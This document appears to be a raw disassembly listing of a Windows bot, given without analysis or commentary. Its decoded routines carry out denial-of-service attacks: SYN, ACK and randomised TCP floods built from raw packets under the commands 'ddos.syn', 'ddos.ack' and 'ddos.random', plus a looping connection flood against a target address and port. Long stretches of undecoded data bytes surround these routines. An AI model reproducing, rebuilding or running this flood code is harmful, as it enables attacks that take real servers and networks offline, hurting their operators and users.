dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Bh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B08 proc near ; CODE XREF: ___:00412E7Fp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CAEE4
test eax, eax
jz short loc_412B48
xor eax, eax
jmp loc_412E3B
; ---------------------------------------------------------------------------
loc_412B48: ; CODE XREF: sub_412B08+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CB018
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_412E33
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4CAF54
cmp eax, 0FFFFFFFFh
jz loc_412E29
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4CAF74
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4CAF74
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4CAF74
mov [ebp+var_12], ax
call sub_41B8E2
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CAF74
push 12345678h
mov [ebp+var_14], ax
call dword_4CAF70
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_412C18
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_412C6C
; ---------------------------------------------------------------------------
loc_412C18: ; CODE XREF: sub_412B08+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_412C34
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_412C6C
; ---------------------------------------------------------------------------
loc_412C34: ; CODE XREF: sub_412B08+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_412C6C
call sub_41B8E2
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41B8E2
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_412C6C: ; CODE XREF: sub_412B08+10Ej
; sub_412B08+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4CAF74
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
nop
call near ptr 2790000h
lea eax, [ebp+var_1C]
push eax
call near ptr 27809D6h
nop
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_41D280
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_412CBA: ; CODE XREF: sub_412B08+2E2j
; sub_412B08+2F0j
mov [ebp+var_4], bx
call sub_41B8E2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CAF74
mov [ebp+var_14], ax
call sub_41B8E2
mov edi, eax
shl edi, 10h
call sub_41B8E2
or edi, eax
push edi
call dword_4CAF74
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CAF70
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CAF74
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41C310
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AC68
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41C310
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41B590
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AC68
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4CAFD8
cmp eax, 0FFFFFFFFh
jz short loc_412DFD
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 27809D6h
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_412E26
jl loc_412CBA
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_412E26
jmp loc_412CBA
; ---------------------------------------------------------------------------
loc_412DFD: ; CODE XREF: sub_412B08+2CBj
call dword_4CAF08
push eax
lea eax, [ebp+var_F4]
push offset dword_435B24
push eax
call sub_41B886
lea eax, [ebp+var_F4]
push eax
call sub_4151AC
add esp, 10h
jmp short loc_412E29
; ---------------------------------------------------------------------------
loc_412E26: ; CODE XREF: sub_412B08+2E0j
; sub_412B08+2EEj
mov ebx, [ebp+arg_8]
loc_412E29: ; CODE XREF: sub_412B08+78j
; sub_412B08+31Cj
push [ebp+var_20]
call dword_4CB00C
pop esi
loc_412E33: ; CODE XREF: sub_412B08+5Bj
call dword_4CAECC
mov eax, ebx
loc_412E3B: ; CODE XREF: sub_412B08+3Bj
pop edi
pop ebx
leave
retn
sub_412B08 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AAF9
push dword ptr [esp+18h]
mov esi, eax
call sub_41B779
push dword ptr [esp+24h]
mov ebx, eax
call sub_41B779
mov edi, eax
call sub_41B8E2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push dword ptr [esp+2Ch]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_412B08
add esp, 20h
test eax, eax
jnz short loc_412E8E
push 1
pop eax
loc_412E8E: ; CODE XREF: ___:00412E89j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
byte_412E9D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6721o
dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h
dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h
dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh
dd 50004CAFh, 0FC44858Dh, 2468FFFFh, 5000435Ch, 8995E8h
dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh
dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
dd 59FFFF84h, 0C9E85759h, 90022BD0h, 6AF44D8Dh, 0FF335104h
dd 5057026Ah, 0FFF45D89h, 4CAF5415h
db 0, 83h
word_412F4E dw 0FFF8h ; DATA XREF: ___:off_43A18Co
dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BF4h, 891CE850h
dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h, 846CE8C8h
dd 5959FFFFh, 51E89057h, 8D022BD0h, 0FFFE4885h, 15FF50FFh
dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BD4h, 88B4E850h
dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh
dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
dd 575959FFh, 0CFEAE890h, 106A022Bh, 57E4458Dh, 856EE850h
dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch
dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h
dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0DCE805C6h
dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch
dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch
dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h
dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh
dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h
dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h
dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h
dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h
dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h
dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h
dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h
dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h
dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh, 0FF004CB0h
dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh, 435B8C68h
dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h, 0FFFFFC44h
dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h
dd 0FF022BCEh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h
dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B4068h
dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh
dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
dd 97E8C875h, 59FFFF81h, 0E8905759h, 22BCD7Ch
dword_413284 dd 0B8EC8B55h, 10320h, 888FE8h, 8458B00h, 6A575653h, 59F08B49h
; DATA XREF: sub_401ACD+550Fo
dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h
dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh
dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h
dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
dd 0FCBC858Dh, 7C68FFFFh, 5000435Ch, 8589E8h, 0CC48300h
dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh
dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
dd 2BCCBFE8h, 0C33B9002h, 408B0C74h, 8B008B0Ch, 0FC458900h
dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
dd 4CAE8Ch, 0C0753B46h, 75FFDA7Ch, 2C15FF08h, 8D004CB0h
dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C5068h, 0BBE85000h
dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh
dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
dd 59FFFF80h, 0F1E85359h, 90022BCBh
dword_413410 dd 0B8EC8B55h, 10310h, 8703E8h, 8458B00h, 6A575653h, 59F08B49h
; DATA XREF: sub_401ACD+575Bo
dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 26E89000h
dd 500226D4h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh
dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h
dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h
dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h
dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 0D068FFFFh
dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Bh
dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 0DBE81175h
dd 99000083h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h
dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h
dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h
dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 24D988E8h
dd 754E9002h, 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h
dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h
dd 50FFFFFFh, 0FCCC858Dh, 0A468FFFFh, 5000435Ch, 82A5E8h
dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh
dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
dd 575959FFh, 0C9DAE890h
db 2Bh, 2
word_413626 dw 8B55h ; DATA XREF: sub_401ACD+4DECo
dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h
dd 0FFFBEC85h, 5CF868FFh, 0E8500043h, 820Ah, 0C483F633h
dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h, 5959FFFFh
dd 0C93EE856h, 5F90022Bh
; ---------------------------------------------------------------------------
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4136C5 proc near ; CODE XREF: ___:004137AEp
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_4CAF74
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_413783
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_413710: ; CODE XREF: sub_4136C5+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_413718: ; CODE XREF: sub_4136C5+7Aj
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_41373B
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
nop
call near ptr 71AB155Ah
loc_41373B: ; CODE XREF: sub_4136C5+64j
add esi, 4
dec ebx
jnz short loc_413718
lea esi, [ebp+var_654]
mov ebx, edi
loc_413749: ; CODE XREF: sub_4136C5+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
nop
call near ptr 71AB3E5Dh
add esi, 4
dec ebx
jnz short loc_413749
push 64h
nop
call near ptr 2660F2Dh
lea esi, [ebp+var_654]
mov ebx, edi
loc_41376D: ; CODE XREF: sub_4136C5+B4j
push dword ptr [esi]
nop
call near ptr 71AB1A6Dh
add esi, 4
dec ebx
jnz short loc_41376D
dec [ebp+arg_4]
jnz short loc_413710
pop edi
pop esi
pop ebx
loc_413783: ; CODE XREF: sub_4136C5+3Ej
xor eax, eax
leave
retn
sub_4136C5 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AAF9
push dword ptr [esp+18h]
mov edi, eax
call sub_41B779
push dword ptr [esp+20h]
mov ebx, eax
call sub_41B779
mov esi, eax
push esi
push ebx
push edi
call sub_4136C5
add esp, 18h
test eax, eax
jnz short loc_4137BD
push 1
pop eax
loc_4137BD: ; CODE XREF: ___:004137B8j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
dword_4137CC dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h
; DATA XREF: sub_401ACD+6449o
dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D24h, 8064E850h
dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
dd 0FFFF7BB2h, 90565959h, 2BC797E8h
; ---------------------------------------------------------------------------
add bl, [edi+5Eh]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41386B proc near ; CODE XREF: ___:00413B59p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CAEE4
test eax, eax
jz short loc_4138AB
xor eax, eax
jmp loc_413B19
; ---------------------------------------------------------------------------
loc_4138AB: ; CODE XREF: sub_41386B+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CB018
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_413B11
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4CAF54
cmp eax, 0FFFFFFFFh
jz loc_413B07
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_4CAF74
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4CAF74
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4CAF74
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4CAF74
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
nop
call near ptr 2790000h
lea eax, [ebp+var_8]
push eax
nop
call near ptr 27809D6h
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_41D280
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_413996: ; CODE XREF: sub_41386B+25Dj
; sub_41386B+26Bj
mov [ebp+var_24], bx
call sub_41B8E2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CAF74
mov [ebp+var_34], ax
call sub_41B8E2
mov edi, eax
shl edi, 10h
call sub_41B8E2
or edi, eax
push edi
call dword_4CAF74
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CAF70
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CAF74
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41C310
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AC68
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41C310
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41B590
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AC68
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4CAFD8
cmp eax, 0FFFFFFFFh
jz short loc_413ADB
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call near ptr 27809D6h
nop
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_413B04
jl loc_413996
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_413B04
jmp loc_413996
; ---------------------------------------------------------------------------
loc_413ADB: ; CODE XREF: sub_41386B+247j
call dword_4CAF08
push eax
lea eax, [ebp+var_F4]
push offset dword_435D4C
push eax
call sub_41B886
lea eax, [ebp+var_F4]
push eax
call sub_4151AC
add esp, 10h
jmp short loc_413B07
; ---------------------------------------------------------------------------
loc_413B04: ; CODE XREF: sub_41386B+25Bj
; sub_41386B+269j
mov ebx, [ebp+arg_8]
loc_413B07: ; CODE XREF: sub_41386B+78j
; sub_41386B+297j
push [ebp+var_C]
call dword_4CB00C
pop esi
loc_413B11: ; CODE XREF: sub_41386B+5Bj
call dword_4CAECC
mov eax, ebx
loc_413B19: ; CODE XREF: sub_41386B+3Bj
pop edi
pop ebx
leave
retn
sub_41386B endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AAF9
push dword ptr [esp+18h]
mov esi, eax
call sub_41B779
push dword ptr [esp+20h]
mov ebx, eax
call sub_41B779
mov edi, eax
call sub_41B8E2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_41386B
add esp, 1Ch
test eax, eax
jnz short loc_413B68
push 1
pop eax
loc_413B68: ; CODE XREF: ___:00413B63j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
byte_413B77 db 55h ; DATA XREF: sub_401ACD+6E44o
dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh
dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh
dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
dd 5DE8h, 50595900h, 0FC6C858Dh, 6C68FFFFh, 5000435Dh
dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh
dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
dd 3E8F075h, 59FFFF78h, 0E8905659h, 22BC3E8h, 8B555E5Fh
dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah
dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h
dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h
dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
